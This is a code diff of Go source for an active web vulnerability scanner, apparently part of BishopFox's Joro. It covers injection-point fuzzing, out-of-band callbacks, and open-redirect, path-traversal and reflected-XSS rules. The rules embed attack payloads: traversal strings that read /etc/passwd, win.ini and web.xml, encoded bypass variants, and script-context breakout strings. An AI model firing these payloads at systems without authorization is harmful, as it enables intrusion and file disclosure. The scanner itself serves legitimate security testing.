// fields, not the raw request line, so reconstruct them from the bytes.
host := headerValue(raw, "Host")
cr := &proxy.CapturedRequest{
ReqRaw: raw,
Host: host,
URL: reconstructURL(raw, host),
ContentType: headerValue(raw, "Content-Type"),
}
cfg := echo.DefaultConfig()
cfg.ScanHeaders = false // skip headers/cookies for injection fuzzing
vals := echo.Walk(detect.Parse(cr, echo.ParseConfig(cfg)), cfg)
out := vals[:0:0]
for _, v := range vals {
switch v.Source {
case echo.SourceQuery, echo.SourcePath, echo.SourceForm, echo.SourceJSON:
out = append(out, v)
}
}
return out
}
// Mutate produces a copy of raw with point p's value set to payload (or, when
// appendMode, the original value followed by payload). Content-Length is
// recomputed. An unsupported source returns an error so the caller skips the point.
func Mutate(raw []byte, p Point, payload string, appendMode bool) ([]byte, error) {
value := payload
if appendMode {
value = p.Value + payload
}
var out []byte
var err error
switch p.Source {
case echo.SourceQuery:
out, err = httptools.ApplyEdits(raw, []httptools.Edit{{Op: "setQuery", Name: p.Name, Value: value}})
case echo.SourcePath:
out, err = setPathSegment(raw, p.Name, value)
case echo.SourceForm:
out, err = setFormField(raw, p.Name, value)
case echo.SourceJSON:
out, err = setJSONField(raw, p.Name, value)
default:
return nil, fmt.Errorf("inject: unsupported source %q", p.Source)
}
if err != nil {
return nil, err
}
return httptools.UpdateContentLength(out), nil
}
// splitRequest separates the header block (through the blank line) from the body.
func splitRequest(raw []byte) (head, body []byte) {
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
return raw[:i+4], raw[i+4:]
}
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
return raw[:i+2], raw[i+2:]
}
return raw, nil
}
// setFormField re-encodes a urlencoded body with one field changed.
func setFormField(raw []byte, name, value string) ([]byte, error) {
head, body := splitRequest(raw)
vals, err := url.ParseQuery(string(body))
if err != nil {
return nil, err
}
vals.Set(name, value)
return append(append([]byte(nil), head...), []byte(vals.Encode())...), nil
}
// setPathSegment replaces the i-th path segment (echo names path values "[i]").
func setPathSegment(raw []byte, name, value string) ([]byte, error) {
idx, err := strconv.Atoi(strings.Trim(name, "[]"))
if err != nil {
return nil, fmt.Errorf("inject: bad path index %q", name)
}
line, rest, ok := firstLine(raw)
if !ok {
return nil, fmt.Errorf("inject: no request line")
}
method, target, version, ok := splitRequestLine(line)
if !ok {
return nil, fmt.Errorf("inject: bad request line")
}
path, query := target, ""
if q := strings.IndexByte(target, '?'); q >= 0 {
path, query = target[:q], target[q:]
}
segs := strings.Split(path, "/") // leading "" from the leading slash
seg := idx + 1 // echo indexes segments after the leading slash
if seg <= 0 || seg >= len(segs) {
return nil, fmt.Errorf("inject: path index %d out of range", idx)
}
segs[seg] = url.PathEscape(value)
newLine := method + " " + strings.Join(segs, "/") + query + " " + version
return append([]byte(newLine), rest...), nil
}
// setJSONField sets a leaf addressed by a dotted path with [i] indices.
func setJSONField(raw []byte, path, value string) ([]byte, error) {
head, body := splitRequest(raw)
var doc any
if err := json.Unmarshal(body, &doc); err != nil {
return nil, err
}
if err := setJSONPath(&doc, splitJSONPath(path), value); err != nil {
return nil, err
}
nb, err := json.Marshal(doc)
if err != nil {
return nil, err
}
return append(append([]byte(nil), head...), nb...), nil
}
// splitJSONPath breaks "a.b[0].c" into ["a","b","0","c"].
func splitJSONPath(p string) []string {
var out []string
for _, part := range strings.Split(p, ".") {
for {
b := strings.IndexByte(part, '[')
if b < 0 {
if part != "" {
out = append(out, part)
}
break
}
if b > 0 {
out = append(out, part[:b])
}
e := strings.IndexByte(part, ']')
if e < 0 {
break
}
out = append(out, part[b+1:e])
part = part[e+1:]
}
}
return out
}
// setJSONPath walks segs into the decoded doc and sets the leaf to value (as a
// string, matching how the application most commonly receives injected input).
func setJSONPath(doc *any, segs []string, value string) error {
if len(segs) == 0 {
*doc = value
return nil
}
seg := segs[0]
switch node := (*doc).(type) {
case map[string]any:
child := node[seg]
if err := setJSONPath(&child, segs[1:], value); err != nil {
return err
}
node[seg] = child
return nil
case []any:
i, err := strconv.Atoi(seg)
if err != nil || i < 0 || i >= len(node) {
return fmt.Errorf("inject: bad json index %q", seg)
}
child := node[i]
if err := setJSONPath(&child, segs[1:], value); err != nil {
return err
}
node[i] = child
return nil
default:
return fmt.Errorf("inject: json path does not resolve at %q", seg)
}
}
// reconstructURL builds an absolute URL from the request line's target and the Host
// header, so detect.Parse can extract the path and query. The scheme is irrelevant
// to parameter enumeration.
func reconstructURL(raw []byte, host string) string {
line, _, ok := firstLine(raw)
if !ok {
return ""
}
_, target, _, ok := splitRequestLine(line)
if !ok {
return ""
}
if host == "" {
host = "placeholder"
}
if strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://") {
return target
}
return "http://" + host + target
}
// headerValue returns the first value of header name (case-insensitive) from the
// request's header block.
func headerValue(raw []byte, name string) string {
head, _ := splitRequest(raw)
lower := strings.ToLower(name) + ":"
for _, ln := range strings.Split(string(head), "\n") {
ln = strings.TrimRight(ln, "\r")
if strings.HasPrefix(strings.ToLower(ln), lower) {
return strings.TrimSpace(ln[len(lower):])
}
}
return ""
}
func firstLine(raw []byte) (line string, rest []byte, ok bool) {
i := strings.IndexByte(string(raw), '\n')
if i < 0 {
return "", nil, false
}
line = strings.TrimRight(string(raw[:i]), "\r")
return line, raw[i:], true
}
func splitRequestLine(line string) (method, target, version string, ok bool) {
parts := strings.Fields(line)
if len(parts) != 3 {
return "", "", "", false
}
return parts[0], parts[1], parts[2], true
}
+66
View File
@@ -0,0 +1,66 @@
package inject
import (
"context"
"time"
"github.com/BishopFox/joro/internal/callback"
)
// OASTAvailable reports whether out-of-band testing can run: a callback store with
// a configured domain. When false, rules skip their OAST vectors rather than emit a
// payload to an unresolvable domain — OAST is disabled unless a listener/team
// server provides a callback domain.
func OASTAvailable(store *callback.Store) bool {
if store == nil {
return false
}
cfg, err := store.GetConfig()
return err == nil && cfg != nil && cfg.Domain != ""
}
// OAST mints callback tokens and polls for interactions, for blind detection.
type OAST struct {
store *callback.Store
domain string
}
// NewOAST returns an OAST helper, or nil when OAST is unavailable (caller skips).
func NewOAST(store *callback.Store) *OAST {
if !OASTAvailable(store) {
return nil
}
cfg, _ := store.GetConfig()
return &OAST{store: store, domain: cfg.Domain}
}
// Token mints a correlation token and returns it with the callback hostname to
// weave into a payload (`<token>.<domain>`).
func (o *OAST) Token(note string) (tokenID, host string, err error) {
tok, err := callback.GenerateToken(o.store, note)
if err != nil {
return "", "", err
}
return tok.ID, tok.Token + "." + o.domain, nil
}
// Fired polls the callback store until an interaction for tokenID appears or the
// window elapses, respecting ctx. It returns true on the first hit.
func (o *OAST) Fired(ctx context.Context, tokenID string, window time.Duration) bool {
deadline := time.Now().Add(window)
ticker := time.NewTicker(1 * time.Second)
defer ticker.Stop()
for {
if items, _, err := o.store.ListInteractions(tokenID, 0, 1); err == nil && len(items) > 0 {
return true
}
if time.Now().After(deadline) {
return false
}
select {
case <-ctx.Done():
return false
case <-ticker.C:
}
}
}
+97
View File
@@ -0,0 +1,97 @@
package inject
import (
"context"
"time"
"github.com/BishopFox/joro/internal/httptools"
)
// maxRespBytes is the response body an injection detector needs — enough to match
// an error string, a rendered expression, or file contents.
const maxRespBytes = 1 << 20
// Sender sends mutated requests through Joro's proxy and fingerprints the result.
// It takes httptools.SendDeps directly (not activescan.RuleDeps) so this package
// does not import activescan — the rules build SendDeps from their RuleDeps.
type Sender struct {
deps httptools.SendDeps
scheme string
host string
timeout time.Duration
}
// NewSender wires a sender for one target host.
func NewSender(deps httptools.SendDeps, scheme, host string, timeout time.Duration) *Sender {
if deps.MaxRespBytes == 0 {
deps.MaxRespBytes = maxRespBytes
}
return &Sender{deps: deps, scheme: scheme, host: host, timeout: timeout}
}
// Result is one send's outcome: the raw and parsed response, status, wall-clock
// duration, and a structural fingerprint for differential comparison.
type Result struct {
RawReq []byte
RespRaw []byte
Resp httptools.Response
Status int
DurationMs int64
Fingerprint httptools.Fingerprint
URL string
Method string
}
// Send sends one raw request and returns the fingerprinted result.
func (s *Sender) Send(ctx context.Context, raw []byte) (*Result, error) {
reqCtx, cancel := context.WithTimeout(ctx, s.timeout)
defer cancel()
sent, err := httptools.SendViaProxy(reqCtx, raw, s.scheme, s.host, s.deps)
if err != nil {
return nil, err
}
return &Result{
RawReq: raw,
RespRaw: sent.RespRaw,
Resp: httptools.ReadResponse(sent.RespRaw),
Status: sent.StatusCode,
DurationMs: sent.Duration.Milliseconds(),
Fingerprint: httptools.FingerprintResponse(sent.Seq, sent.RespRaw, sent.Duration.Milliseconds(), false),
URL: sent.URL,
Method: sent.Method,
}, nil
}
// Baseline is the unmodified request's response plus a timing floor used to judge
// time-based injections.
type Baseline struct {
Result
// FloorMs is the smaller of two baseline round-trips — a jitter-resistant
// estimate of the endpoint's normal latency.
FloorMs int64
}
// Baseline sends the original request twice and records the structural fingerprint
// plus the latency floor.
func (s *Sender) Baseline(ctx context.Context, raw []byte) (*Baseline, error) {
r1, err := s.Send(ctx, raw)
if err != nil {
return nil, err
}
floor := r1.DurationMs
if r2, err := s.Send(ctx, raw); err == nil && r2.DurationMs < floor {
floor = r2.DurationMs
}
return &Baseline{Result: *r1, FloorMs: floor}, nil
}
// SameStructure reports whether two responses are the same page ignoring volatile
// content (nonces, timestamps) — the boolean oracle for boolean-based SQLi.
func SameStructure(a, b httptools.Fingerprint) bool { return a.StructHash == b.StructHash }
// LooksDelayed reports whether elapsed indicates an injected delay of at least
// delayMs relative to the baseline floor. The 0.8 factor tolerates the payload
// running slightly short while rejecting ordinary jitter.
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
return elapsedMs-floorMs >= delayMs*8/10
}
+127
View File
@@ -0,0 +1,127 @@
package injkit
import (
"context"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/inject"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
// SameStructure and LooksDelayed re-export the inject differential/timing helpers so
// a rule imports only injkit.
func SameStructure(a, b httptools.Fingerprint) bool { return inject.SameStructure(a, b) }
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
return inject.LooksDelayed(elapsedMs, floorMs, delayMs)
}
// Check is one named, toggleable detection within an injection rule — the catalog
// row the operator sees. Metadata is static (so checks are package-level vars); the
// probe takes its run context as a parameter rather than closing over it.
type Check struct {
ID string
Name string
Severity detect.Severity
Description string
// Payloads are shown in the catalog detail; the probe is free to derive more.
Payloads []string
// RequiresOAST marks a check that only runs with a callback listener configured.
RequiresOAST bool
Probe func(pc ProbeCtx)
}
// ProbeCtx bundles everything a check's probe needs for one insertion point.
type ProbeCtx struct {
Ctx context.Context
Send *inject.Sender
OAST *inject.OAST // nil when OAST is unavailable or opted out
Host string
Point inject.Point
Base *inject.Baseline
// File mints a finding for this point; Host/Method/URL are filled in for you.
File func(sev detect.Severity, detail, evidence, url string)
}
// Inject mutates the point's value with payload (append or replace) and sends the
// result, returning nil on any mutation/send error so a probe can keep going.
func (pc ProbeCtx) Inject(payload string, appendMode bool) *inject.Result {
mut, err := inject.Mutate(pc.Base.RawReq, pc.Point, payload, appendMode)
if err != nil {
return nil
}
res, err := pc.Send.Send(pc.Ctx, mut)
if err != nil {
return nil
}
return res
}
// Catalog builds the catalog items for a rule's checks, reflecting the disabled set.
func Catalog(checks []Check, disabled *activescan.DisabledSet, oastAvailable bool) []activescan.CatalogItem {
out := make([]activescan.CatalogItem, 0, len(checks))
for _, c := range checks {
detail := []activescan.CatalogField{{Label: "Detection", Value: c.Name}}
if len(c.Payloads) > 0 {
detail = append(detail, activescan.CatalogField{Label: "Payloads", Value: strings.Join(c.Payloads, "\n")})
}
if c.RequiresOAST {
avail := "requires a configured callback listener"
if oastAvailable {
avail = "callback listener configured"
}
detail = append(detail, activescan.CatalogField{Label: "Out-of-band", Value: avail})
}
out = append(out, activescan.CatalogItem{
ID: c.ID,
Name: c.Name,
Severity: string(c.Severity),
Confidence: string(detect.ConfidenceHigh),
Target: string(detect.TargetMessage),
Description: c.Description,
Enabled: disabled.IsItemEnabled(c.ID),
Detail: detail,
})
}
return out
}
// RunChecks drives the standard injection loop for a rule: it builds the sender and
// (unless opted out) the OAST helper, then for every parameter of every request runs
// each enabled check's probe. Finding-reporting goes through the probe's File helper.
func RunChecks(
ctx context.Context,
t activescan.Target,
cfg activescan.Config,
deps activescan.RuleDeps,
rep activescan.Reporter,
checks []Check,
disabled *activescan.DisabledSet,
findingRule string,
category detect.Category,
name string,
) {
send := Sender(deps, t)
oast := OAST(deps)
if cfg.NoOAST {
oast = nil
}
enabled := make([]Check, 0, len(checks))
for _, c := range checks {
if disabled.IsItemEnabled(c.ID) {
enabled = append(enabled, c)
}
}
inject.Drive(ctx, Requests(t), send, rep.Progress, func(ctx context.Context, p inject.Point, base *inject.Baseline) {
for _, c := range enabled {
if ctx.Err() != nil {
return
}
file := func(sev detect.Severity, detail, evidence, url string) {
rep.Finding(Finding(findingRule, category, sev, name, t.Host, base.Method, url, p.Key(), detail, evidence))
}
c.Probe(ProbeCtx{Ctx: ctx, Send: send, OAST: oast, Host: t.Host, Point: p, Base: base, File: file})
}
})
}
+97
View File
@@ -0,0 +1,97 @@
// Package injkit adapts the activescan framework to the inject library: it builds a
// sender/OAST/request-list from a rule's Target and RuleDeps and mints findings, so
// each injection rule stays a payload set plus a detector. It imports both
// activescan and inject (activescan imports neither, so there is no cycle).
package injkit
import (
"net/url"
"strings"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/inject"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
// PerReqTimeout bounds one probe send. It sits above the time-based payloads'
// sleep interval so a genuine delay is observed rather than cut off.
const PerReqTimeout = 20 * time.Second
// Sender builds an inject.Sender for the target from a rule's deps.
func Sender(d activescan.RuleDeps, t activescan.Target) *inject.Sender {
return inject.NewSender(
httptools.SendDeps{ProxyAddr: d.ProxyAddr, CA: d.CA, Store: d.Store},
t.Scheme, t.Host, PerReqTimeout,
)
}
// OAST returns an OAST helper, or nil when no callback domain is configured (the
// caller then skips its OAST vectors).
func OAST(d activescan.RuleDeps) *inject.OAST { return inject.NewOAST(d.Callback) }
// Requests returns the raw request bytes to fuzz: each target URL's captured bytes,
// synthesizing a bare GET when a URL carries none.
func Requests(t activescan.Target) [][]byte {
var out [][]byte
for _, u := range t.URLs {
if len(u.RawReq) > 0 {
out = append(out, u.RawReq)
continue
}
if raw := synthGET(u.URL, t.Host); raw != nil {
out = append(out, raw)
}
}
return out
}
func synthGET(rawURL, host string) []byte {
u, err := url.Parse(rawURL)
if err != nil || u.Path == "" {
return nil
}
target := u.Path
if u.RawQuery != "" {
target += "?" + u.RawQuery
}
h := host
if u.Host != "" {
h = u.Host
}
return []byte("GET " + target + " HTTP/1.1\r\nHost: " + h + "\r\nConnection: close\r\n\r\n")
}
// Finding builds a detect.Finding in detect's identity space, deduped per
// (rule, host, parameter+path) so one vulnerable parameter is one finding.
func Finding(ruleID string, cat detect.Category, sev detect.Severity, name, host, method, probeURL, param, detail, evidence string) detect.Finding {
now := time.Now()
return detect.Finding{
ID: detect.FindingID(ruleID, host, param+"|"+pathOf(probeURL)),
RuleID: ruleID,
RuleName: name,
Category: cat,
Severity: sev,
Confidence: detect.ConfidenceHigh,
Target: detect.TargetMessage,
Host: host,
Method: method,
URL: probeURL,
Detail: detail,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
func pathOf(u string) string {
if parsed, err := url.Parse(u); err == nil && parsed.Path != "" {
return parsed.Path
}
if i := strings.IndexByte(u, '?'); i >= 0 {
return u[:i]
}
return u
}
@@ -0,0 +1,99 @@
// Package openredirect is the active open-redirect rule. Each check replaces the
// parameter with an external canary URL and confirms a redirect to that host via the
// Location header or an in-body meta/JS redirect.
package openredirect
import (
"context"
"crypto/rand"
"encoding/hex"
"regexp"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "openredirect"
findingRule = "activescan.openredirect"
)
func payloads(canary string) []string {
return []string{"https://" + canary + "/", "//" + canary + "/"}
}
var checks = []injkit.Check{
{
ID: "location", Name: "Location header", Severity: detect.SeverityMedium,
Description: "Injects an external URL and reports when a 3xx Location header points to it.",
Payloads: []string{"https://<canary>/", "//<canary>/"},
Probe: locationHeader,
},
{
ID: "body", Name: "Body meta/JS redirect", Severity: detect.SeverityMedium,
Description: "Injects an external URL and reports when the body redirects to it (meta refresh or window.location).",
Payloads: []string{"https://<canary>/", "//<canary>/"},
Probe: bodyRedirect,
},
}
var bodyRedirectRe = regexp.MustCompile(`(?i)(?:http-equiv=["']?refresh|location\.(?:href|replace|assign)|window\.location)`)
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Open redirect" }
func (*Rule) Category() detect.Category { return detect.CategoryOpenRedirect }
func (*Rule) Description() string {
return "Replaces each parameter with an external canary URL and reports when the response " +
"redirects to that host — via the Location header on a 3xx or an in-body meta/JavaScript " +
"redirect — indicating an unvalidated redirect."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryOpenRedirect, "Open redirect")
return nil
}
func locationHeader(pc injkit.ProbeCtx) {
canary := "joro-redir-" + randHex(5) + ".example"
for _, pl := range payloads(canary) {
res := pc.Inject(pl, false)
if res == nil {
continue
}
loc := res.Resp.Header.Get("Location")
if res.Status >= 300 && res.Status < 400 && strings.Contains(loc, canary) {
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (Location header)", "Location: "+loc, res.URL)
return
}
}
}
func bodyRedirect(pc injkit.ProbeCtx) {
canary := "joro-redir-" + randHex(5) + ".example"
for _, pl := range payloads(canary) {
res := pc.Inject(pl, false)
if res == nil {
continue
}
if strings.Contains(string(res.Resp.Body), canary) && bodyRedirectRe.Match(res.Resp.Body) {
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (body redirect)", "response body redirects to "+canary, res.URL)
return
}
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
@@ -0,0 +1,82 @@
// Package pathtraversal is the active path-traversal / LFI rule. Each check replaces
// the parameter with traversal payloads for one target file and confirms when the
// response returns that file's contents.
package pathtraversal
import (
"context"
"regexp"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "pathtraversal"
findingRule = "activescan.pathtraversal"
)
var (
rePasswd = regexp.MustCompile(`root:.*:0:0:`)
reWinIni = regexp.MustCompile(`(?i)\[(?:fonts|extensions|mci extensions)\]|for 16-bit app support`)
reWebXML = regexp.MustCompile(`(?i)<web-app[\s>]`)
)
func fileCheck(id, name, desc string, payloads []string, re *regexp.Regexp, evidence string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc, Payloads: payloads,
Probe: func(pc injkit.ProbeCtx) { probe(pc, payloads, re, evidence) },
}
}
var checks = []injkit.Check{
fileCheck("unix-passwd", "Unix /etc/passwd",
"Traverses to /etc/passwd and matches the user-database format.",
[]string{"../../../../../../../../etc/passwd", "/etc/passwd", "....//....//....//....//etc/passwd"},
rePasswd, "response contains /etc/passwd contents (root:...:0:0:)"),
fileCheck("windows-winini", "Windows win.ini",
"Traverses to Windows win.ini and matches its section headers.",
[]string{"..\\..\\..\\..\\..\\windows\\win.ini", "C:\\windows\\win.ini"},
reWinIni, "response contains win.ini contents"),
fileCheck("java-webxml", "Java WEB-INF/web.xml",
"Reads WEB-INF/web.xml from a Java web app.",
[]string{"/WEB-INF/web.xml", "../../WEB-INF/web.xml"},
reWebXML, "response contains WEB-INF/web.xml contents"),
fileCheck("encoded", "Encoded traversal",
"URL-encoded traversal to /etc/passwd (filter-bypass variants).",
[]string{"..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", "..%5c..%5c..%5c..%5cwindows%5cwin.ini"},
rePasswd, "response contains /etc/passwd contents via encoded traversal"),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Path traversal / LFI" }
func (*Rule) Category() detect.Category { return detect.CategoryPathTraversal }
func (*Rule) Description() string {
return "Replaces each parameter with directory-traversal payloads (encoded and raw, Unix and " +
"Windows) and reports when the response returns the contents of a well-known file " +
"(/etc/passwd, win.ini, WEB-INF/web.xml) — confirmed path traversal / local file inclusion."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryPathTraversal, "Path traversal / LFI")
return nil
}
func probe(pc injkit.ProbeCtx, payloads []string, re *regexp.Regexp, evidence string) {
for _, pl := range payloads {
res := pc.Inject(pl, false)
if res != nil && re.Match(res.Resp.Body) {
pc.File(detect.SeverityHigh, "path traversal in "+pc.Point.Name+" via "+pl, evidence, res.URL)
return
}
}
}
@@ -0,0 +1,83 @@
// Package reflectedxss is the active reflected-XSS rule. Each check injects a unique
// canary with a particular breakout payload and reuses internal/echo's analyzer
// (enumeration, context classification, breakout rubric) on the (mutated request,
// response) pair; a reflection that breaks out of its context is a finding.
package reflectedxss
import (
"context"
"crypto/rand"
"encoding/hex"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
)
const (
ruleID = "reflectedxss"
findingRule = "activescan.reflectedxss"
)
func styleCheck(id, name, desc, suffix string) injkit.Check {
return injkit.Check{
ID: id, Name: name, Severity: detect.SeverityHigh, Description: desc,
Payloads: []string{"<canary>" + suffix},
Probe: func(pc injkit.ProbeCtx) { probe(pc, suffix) },
}
}
var checks = []injkit.Check{
styleCheck("html-text", "HTML text breakout", "Breaks out of HTML text/attribute with angle brackets and quotes.", `"'></`),
styleCheck("attribute", "Attribute event-handler", "Breaks out of an attribute into an event handler.", `" autofocus onfocus=jo `),
styleCheck("script", "Script string breakout", "Breaks out of a JavaScript string context.", `';jo//`),
styleCheck("template", "Template/backtick breakout", "Breaks out of a template-literal/backtick context.", "`+jo+`"),
}
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Reflected XSS" }
func (*Rule) Category() detect.Category { return detect.CategoryReflectedXSS }
func (*Rule) Description() string {
return "Injects a unique canary with HTML/JS-breaking characters into each request " +
"parameter and reuses the Echo analyzer to decide whether it reflects into an " +
"exploitable, unescaped context (a breakout) — confirmed reflected cross-site scripting."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryReflectedXSS, "Reflected XSS")
return nil
}
func probe(pc injkit.ProbeCtx, suffix string) {
canary := "joro" + randHex(5)
res := pc.Inject(canary+suffix, false)
if res == nil {
return
}
cr := &proxy.CapturedRequest{ReqRaw: res.RawReq, RespRaw: res.RespRaw, Host: pc.Host, URL: res.URL, Method: res.Method}
report := echo.Analyze(cr, echo.DefaultConfig())
for _, refl := range report.Reflections {
if refl.Breakout && strings.Contains(refl.Value, canary) {
pc.File(detect.SeverityHigh, "parameter "+pc.Point.Name+" reflects unescaped into "+string(refl.Context),
"canary broke out of the "+string(refl.Context)+" context; surviving characters: "+refl.Survived, res.URL)
return
}
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
+233
View File
@@ -0,0 +1,233 @@
package activescan
import (
"context"
"fmt"
"sync"
"time"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
)
// Run is one scan execution.
type Run struct {
ID string `json:"id"`
Host string `json:"host"`
Origin string `json:"origin"`
Scope string `json:"scope"` // "host" | "request"
Rules []string `json:"rules"`
CreatedAt time.Time `json:"createdAt"`
Total int `json:"total"`
Config Config `json:"-"`
urls []TargetURL // the scope-filtered URLs this run exercises
mu sync.RWMutex
status Status
completed int
errors int
findings int
errMsgs []string
cancel context.CancelFunc
}
// NewRun creates a running scan with its totals set. total is the number of work
// units the run expects to complete: one per (rule, URL).
func NewRun(id string, cfg Config, t Target, ruleIDs []string, total int) *Run {
return &Run{
ID: id,
Host: t.Host,
Origin: t.Origin,
Scope: cfg.Scope,
Rules: ruleIDs,
CreatedAt: time.Now(),
Total: total,
Config: cfg,
urls: t.URLs,
status: StatusRunning,
}
}
// Status reports the run's state.
func (r *Run) Status() Status {
r.mu.RLock()
defer r.mu.RUnlock()
return r.status
}
// Counts reports progress.
func (r *Run) Counts() (completed, errors, findings int) {
r.mu.RLock()
defer r.mu.RUnlock()
return r.completed, r.errors, r.findings
}
// Errors returns the rule-level failures observed so far.
func (r *Run) Errors() []string {
r.mu.RLock()
defer r.mu.RUnlock()
return append([]string{}, r.errMsgs...)
}
func (r *Run) addProgress(delta int) {
r.mu.Lock()
r.completed += delta
r.mu.Unlock()
}
func (r *Run) addFinding() {
r.mu.Lock()
r.findings++
r.mu.Unlock()
}
func (r *Run) addError(msg string) {
r.mu.Lock()
r.errors++
r.errMsgs = append(r.errMsgs, msg)
r.mu.Unlock()
}
func (r *Run) finish(s Status) {
r.mu.Lock()
defer r.mu.Unlock()
if r.status == StatusRunning {
r.status = s
}
}
// Stop cancels a running run.
func (r *Run) Stop() bool {
r.mu.Lock()
cancel := r.cancel
running := r.status == StatusRunning
if running {
r.status = StatusStopped
}
r.mu.Unlock()
if cancel != nil {
cancel()
}
return running
}
func (r *Run) setCancel(cancel context.CancelFunc) {
r.mu.Lock()
defer r.mu.Unlock()
r.cancel = cancel
}
// Deps is what a run needs from the host process.
type Deps struct {
// Broadcast is the hub's channel, carrying event.WSEvent values.
Broadcast chan<- any
// Findings is the shared detect store a rule's results are filed into.
Findings *detect.Store
// Notify pushes the aggregate detect.summary (s.broadcastDetectSummary).
Notify func()
// Registry resolves the run's rule IDs to Rule implementations.
Registry *Registry
// RuleDeps is forwarded to each rule.
RuleDeps RuleDeps
}
// Plan reports how many work units a scan will run and refuses one that cannot
// run, before any browser launches or byte goes on the wire.
func Plan(cfg Config, t Target, rules []Rule) (int, error) {
if len(t.URLs) == 0 {
return 0, fmt.Errorf("no in-scope URLs to scan")
}
if len(rules) == 0 {
return 0, fmt.Errorf("no active-scan rules selected")
}
return len(t.URLs) * len(rules), nil
}
// Execute runs every selected rule against the target, sequentially.
func Execute(ctx context.Context, run *Run, d Deps) {
budget := time.Duration(clampInt(run.Config.BudgetMs, DefaultBudgetMs, 1000, MaxBudgetMs)) * time.Millisecond
runCtx, cancel := context.WithTimeout(ctx, budget)
defer cancel()
run.setCancel(cancel)
started := time.Now()
broadcast(d, "activescan.started", map[string]any{
"runId": run.ID, "host": run.Host, "origin": run.Origin,
"scope": run.Scope, "rules": run.Rules, "total": run.Total,
})
rep := &reporter{run: run, d: d}
rules := d.Registry.Resolve(run.Config.Rules)
status := StatusComplete
for _, rule := range rules {
if runCtx.Err() != nil {
status = StatusStopped
break
}
if err := rule.Run(runCtx, Target{
Scheme: schemeOf(run.Origin), Host: run.Host, Origin: run.Origin, URLs: run.urls,
}, run.Config, d.RuleDeps, rep); err != nil {
run.addError(fmt.Sprintf("%s: %v", rule.Name(), err))
}
}
if runCtx.Err() != nil {
status = StatusStopped
}
run.finish(status)
completed, errs, findings := run.Counts()
broadcast(d, "activescan.complete", map[string]any{
"runId": run.ID, "status": string(run.Status()),
"completed": completed, "errors": errs, "findings": findings,
"durationMs": time.Since(started).Milliseconds(),
})
}
// reporter adapts a run and its deps to the Reporter a rule writes through.
type reporter struct {
run *Run
d Deps
}
func (r *reporter) Progress(delta int) {
if delta <= 0 {
return
}
r.run.addProgress(delta)
completed, _, findings := r.run.Counts()
broadcast(r.d, "activescan.progress", map[string]any{
"runId": r.run.ID, "scanned": completed, "total": r.run.Total, "findings": findings,
})
}
func (r *reporter) Finding(f detect.Finding) {
if r.d.Findings == nil {
return
}
saved, isNew := r.d.Findings.Upsert(f)
r.run.addFinding()
broadcast(r.d, "detect.finding", map[string]any{"finding": saved, "isNew": isNew})
if r.d.Notify != nil {
r.d.Notify()
}
}
// broadcast sends blocking, from the run's own goroutine, like chainrun and
// fuzzer: Hub.Subscribe fans out without blocking, so a slow subscriber cannot
// stall the run, and blocking keeps the client's progress agreeing with the run.
func broadcast(d Deps, typ string, data map[string]any) {
if d.Broadcast == nil {
return
}
d.Broadcast <- event.WSEvent{Type: typ, Data: data}
}
func schemeOf(origin string) string {
if len(origin) >= 8 && origin[:8] == "https://" {
return "https"
}
return "http"
}
+154
View File
@@ -0,0 +1,154 @@
